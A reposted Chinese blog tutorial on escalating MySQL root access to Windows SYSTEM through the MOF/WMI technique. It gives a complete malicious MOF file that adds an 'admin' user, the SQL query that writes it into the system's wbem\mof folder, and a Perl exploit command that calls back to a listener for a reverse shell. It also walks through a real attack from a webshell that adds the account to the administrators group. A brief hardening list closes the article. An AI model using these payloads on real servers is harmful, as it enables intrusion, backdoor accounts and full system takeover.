文档章节

技术干货:MySQL数据库Root权限MOF方法提权研究

小猪猪的风
 小猪猪的风
发布于 2016/11/01 17:49
字数 938
阅读 481
收藏 0

MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法1:运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!

001漏洞利用方法分析

该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。

1.生成nullevt.mof文件

将以下代码保存为nullevt.mof文件:

 
  1. #pragma namespace("\\\\.\\root\\subscription")  
  2.  
  3. instance of __EventFilter as $EventFilter  
  4. {  
  5.     EventNamespace = "Root\\Cimv2";  
  6.     Name  = "filtP2";  
  7.     Query = "Select * From __InstanceModificationEvent "  
  8.             "Where TargetInstance Isa \"Win32_LocalTime\" "  
  9.             "And TargetInstance.Second = 5";  
  10.     QueryLanguage = "WQL";  
  11. };  
  12.  
  13. instance of ActiveScriptEventConsumer as $Consumer  
  14. {  
  15.     Name = "consPCSV2";  
  16.     ScriptingEngine = "JScript";  
  17.     ScriptText =  
  18.     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";  
  19. };  
  20.  
  21. instance of __FilterToConsumerBinding  
  22. {  
  23.     Consumer   = $Consumer;  
  24.     Filter = $EventFilter;  
  25. }; 

2.通过Mysql查询将文件导入

执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。

 
  1. select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'; 

002实战利用

1.实验环境

本次实验环境为Windows2003+Apache+PHP,已经拥有Webshell权限。

2.上传文件到可写目录

将nullevt.mof文件上传到服务器可写目录,例如C:\RECYCLER\,如图5-4所示。

技术干货:MySQL数据库Root权限MOF方法提权研究

上传文件nullevt.mof

3.执行命令

配置好中国菜刀,然后通过数据库管理,执行查询命令,在执行查询命令前需要先选择一下数据库,然后将以下代码复制到查询语句输入框中,如图5-5所示。

select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

技术干货:MySQL数据库Root权限MOF方法提权研究

执行查询命令

4.查看执行结果

执行完毕后需要修改添加用户命令为将用户添加到管理员组,即“net.exe localgroup administrators admin/add\”,再次上传并查询,如图5-6所示,通过net user查看,果然admin已被添加到系统中。

技术干货:MySQL数据库Root权限MOF方法提权研究

添加用户成功

003防范方法

Mysql Root权限MOF方法提权其前提条件是能够将上传的nullevt.mof复制到系统目录下,例如c:\windows\system32\wbem\mof中,如果无法复制则会提权失败。一般对Windows2003以下操作系统效果较好,Windows2008以上由于保护机制,较少能够成功。因此可以采取以下措施进行防范:

1.在程序数据库连接文件中尽量不要使用Root帐号进行连接。

2.Root帐号使用强加密方式,采用字母大小写+数字+特殊字符,密码位数15位以上。

3.对Mysql数据库的mysql数据库目录权限严格限制,IIS用户无法读写该文件。

4. 操作系统目录c:\windows\system32\wbem禁止写入。(51CTO)

本文转载自:http://zhuanlan.51cto.com/art/201610/520320.htm

共有 人打赏支持
小猪猪的风
粉丝 14
博文 360
码字总数 60296
作品 0
厦门
私信 提问
MySQL数据库渗透及漏洞利用总结

MySQL 数据库渗透及漏洞利用总结 Simeon MySQL 数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用 MySQL 作为其数据库支撑,目前很多架构都以 MySQL 作为数据库管理系统...

simeon2005
2017/11/14
0
0
关于mysql mof提权研究

无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。 利用前提: 操作系统为windows 操作系统版本不宜太高,...

z2pp
2017/10/25
0
0
SQLmap注入获取Webshell及系统权限研究

使用sqlmap除了能进行sql注入渗透测试外,其还提供了强大的命令执行功能可以进行udf提权、MSSQL下xp_cmdshell提权,在条件允许的情况下,可以获取操作系统shell和SQL shell,有的还可以直接获...

simeon2005
05/16
0
0
mysql mof+metasploit反弹shell

鉴于上篇文章 http://z2ppp.blog.51cto.com/11186185/1975985 mysql mof提权 metasploit已经有针对该方式的利用代码,原理还是一样生成mof文件,只是metasploit中可以使用到反弹技术,就不用...

z2pp
2017/10/25
0
0
设置SUID用于提权或降权

一、基础介绍 刚看了马哥的视频介绍SUID说,当为可执行文件设置SUID并当其转换为进程后,该进程的所属主为原程序文件的属主,以原程序文件属主的身份进行操作,该特殊权限可以用于提权或降权...

JyingHZ
2017/11/17
0
0

没有更多内容

加载失败,请刷新页面

加载更多

JavaScript 继承使用解析

继承,通俗地说,之前你写过一些类,这些类中有一些是而你现在要写的类的功能的子集或者基本相同,那么你不用完全重新写一个新的类,你可以把之前写的类拿过来使用.这样的一种代码重用过程就叫做继...

前端攻城小牛
14分钟前
0
0
深入解析JavaScript 原型继承

JavaScript 原型继承,学习js面向对象的朋友可以看看。十分的全面细致,具有一定的参考价值,对此有需要的朋友可以参考学习下。如有不足之处,欢迎批评指正。 Object.prototype JavaScript是...

前端攻城老湿
16分钟前
0
0
2018阿里云双12——年末钜惠,低至2折

活动链接地址:https://m.aliyun.com/act/team1212/?params=N.JlJCGqQNL4

城市之雾
17分钟前
0
0
VMware前路难测,多个厂家群雄逐鹿

导读 以VMware为例,虚拟机巨头公布了第二财季报告所示,它第二财季收入同比增长13%,达到了21.7亿美元,而且该公司收入和每股收益均超出预期。 在人们高谈Salesforce、亚马逊等新兴云计算厂...

问题终结者
18分钟前
0
0
Vuex的初探与实战小结

1.概述 每一个 Vuex 应用的核心就是 store(仓库)。“store”基本上就是一个容器,它包含着你的应用中大部分的状态 (state)。 Vuex 和单纯的全局对象有以下两点不同: 1.Vuex 的状态存储是响...

peakedness丶
28分钟前
1
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部